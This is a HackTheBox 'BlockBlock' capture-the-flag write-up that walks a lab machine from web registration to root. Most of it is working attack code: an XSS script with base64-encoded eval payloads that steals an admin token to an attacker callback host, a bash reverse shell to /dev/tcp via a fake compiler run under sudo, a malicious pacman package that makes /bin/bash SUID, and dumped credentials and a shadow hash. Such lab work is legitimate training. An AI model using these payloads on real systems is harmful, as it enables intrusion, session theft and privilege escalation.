Post

HackTheBox BlockBlock Writeup

Explore the fundamentals of cybersecurity in the BlockBlock Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.11.43 blockblock.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.43"
domain="blockblock.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV blockblock.htb
1
2
3
4
5
6
7
8
9
10
11
Nmap scan report for blockblock.htb (10.10.11.43)
Host is up (0.050s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey: 
|   256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_  256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title:          Home  - DBLC    

Register in http://10.10.11.43

At the bottom is showed You can review our smart contracts anytime http://10.10.11.43/api/contract_source

Lets analyze it Note change the token with yours

1
2
3
4
5
token='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjkxMTg2NCwianRpIjoiMmI0Mjg2YjgtMTBlMC00NzI2LWFkZjgtMDEzNjlmZWMyYmQxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFAYS5hIiwibmJmIjoxNzMyOTExODY0LCJleHAiOjE3MzM1MTY2NjR9.gyVZXeJut3eZj531XhYf8gOVfDGDQC-5fAvpGDWIm6A'
curl 'http://10.10.11.43/api/contract_source' -H "Cookie: token=$token" -s | jq -r '."Database.sol"' > Database.sol 
curl 'http://10.10.11.43/api/contract_source' -H "Cookie: token=$token" -s | jq -r '."Chat.sol"' > Chat.sol
cat Database.sol
cat Chat.sol

So reporting a user we can get xxs this is how to test:

1
python -m http.server 
1
<img src=x onerror="fetch('http://10.10.14.18:8000/jsw0rks')" /> 
1
10.10.11.43 - - [29/Nov/2024 21:35:19] "GET /test/ HTTP/1.1" 200 -

The token is HTTP-only, so the key challenge is finding a way to access the content of the admin cookie.

Paste the following in the console to brute-force and retrieve the admin cookie after several retries:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const callback_url = "http://10.10.14.18:8000/";
const delay = millis => new Promise(resolve => setTimeout(resolve, millis));
async function report_user(username) {
  try {
    await fetch(`${location.origin}/api/report_user`, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({ username }),
    });
  } catch (error) {
    console.error("Error in report_user:", error);
  }
}
(async () => {
  for (let ff = 0; ff <= 30; ff++) {
    for (let ss = 0; ss <= 10; ss++) {
      console.log(`1st Payload, Sending total... ${ff}`);
      const first_payload = `
        <img src=x onerror='eval(atob("ZmV0Y2goIi9hcGkvaW5mbyIsIHsNCgloZWFkZXJzOiB7DQoJCSdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicNCgl9LA0KCW1ldGhvZDogJ0dFVCcsIA0KCWNyZWRlbnRpYWxzOiAnaW5jbHVkZScNCiAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsgDQogIH0pDQogIC50aGVuKGRhdGEgPT4gew0KCQlmZXRjaCgiL2FwaS9zZW5kX21lc3NhZ2UiLCB7DQoJCQloZWFkZXJzOiB7DQoJCQkJJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJw0KCQkJfSwNCgkJCW1ldGhvZDogJ1BPU1QnLCANCgkJCWNyZWRlbnRpYWxzOiAnaW5jbHVkZScsDQoJCQlib2R5OiBKU09OLnN0cmluZ2lmeSh7DQoJCQkJY29udGVudDogYnRvYShlbmNvZGVVUklDb21wb25lbnQoZGF0YSkpDQoJCQl9KQ0KCQl9KQ0KICB9KTs="))' />
      `;
      await report_user(first_payload);
    }
    for (let ss = 0; ss <= 10; ss++) {
      console.log(`2nd Payload, Sending... ${ff}`);
      let seconds_payload = `
        async function s(t) {
          try {
            fetch("${callback_url}?" + btoa(encodeURIComponent(t.toString())));
          } catch {}
        }
        (async () => {
          try {
            const t = await fetch("/api/recent_messages", {
              headers: { "Content-Type": "application/json" },
              method: "GET",
              credentials: "include",
            });
            await s(await t.text());
          } catch (t) {
            await s("ERR");
          }
        })();
      `;
      seconds_payload = btoa(seconds_payload);
      seconds_payload = `<img src=x onerror='eval(atob("${seconds_payload}"))' />`;
      await report_user(seconds_payload);
    }
  }
})();

https://gchq.github.io/CyberChef

From base64 data

this yelds eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjkxNTQyMSwianRpIjoiNmM3MGY0NmQtZjNjZC00ZDU4LTk1ZjEtZmQzMjVmNWYxNzMyIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyOTE1NDIxLCJleHAiOjE3MzM1MjAyMjF9.dOn0IAcdSMka9sTc_NPu7Bd5-8l0E9oaw_ZHpDWfk04

Set as the cookie token

http://10.10.11.43/admin

http://10.10.11.43/admin#users

Open burp and intercept /api/json-rpc

just change method in {"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1",true],"id":1}

Decode from hex the data

keira:SomedayBitCoinWillCollapse

1
ssh keira@blockblock.htb
1
cat user.txt
1
uname -a

Detected 6.9.3-arch1-1. Using Arch Linux as a server is questionable—better suited for desktops. Feels out of place here. Btw, I’m an archlinux user :(. What’s next, Gentoo or LFS? <- brainroot :).

Listener:

1
nc -lvnp 9001

To Get Paul in 9001:

1
2
3
4
5
sudo -u paul /home/paul/.foundry/bin/forge init /dev/shm/exploit --no-git --offline
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.18/9001 0>&1' > /dev/shm/solc
cd /dev/shm/exploit
chmod +x ../solc
sudo -u paul /home/paul/.foundry/bin/forge build --use ../solc

To Get Root From Paul in 9001:

1
2
3
4
5
cd /dev/shm
echo -e "pkgname=exp\npkgver=1.0\npkgrel=1\narch=('any')\ninstall=exp.install" > PKGBUILD
echo "post_install() { chmod 4777 /bin/bash; }" > exp.install
makepkg -s
sudo pacman -U *.zst --noconfirm
1
bash -p
1
2
cat /root/root.txt
cat /etc/shadow

This yields $y$j9T$aS1WjBeHOMsj5JDGpOSTR0$eEn9e2kIqFfcRCf79xQw7iLDJbt/ioE793tqS3GnjsC

This post is licensed under CC BY 4.0 by the author.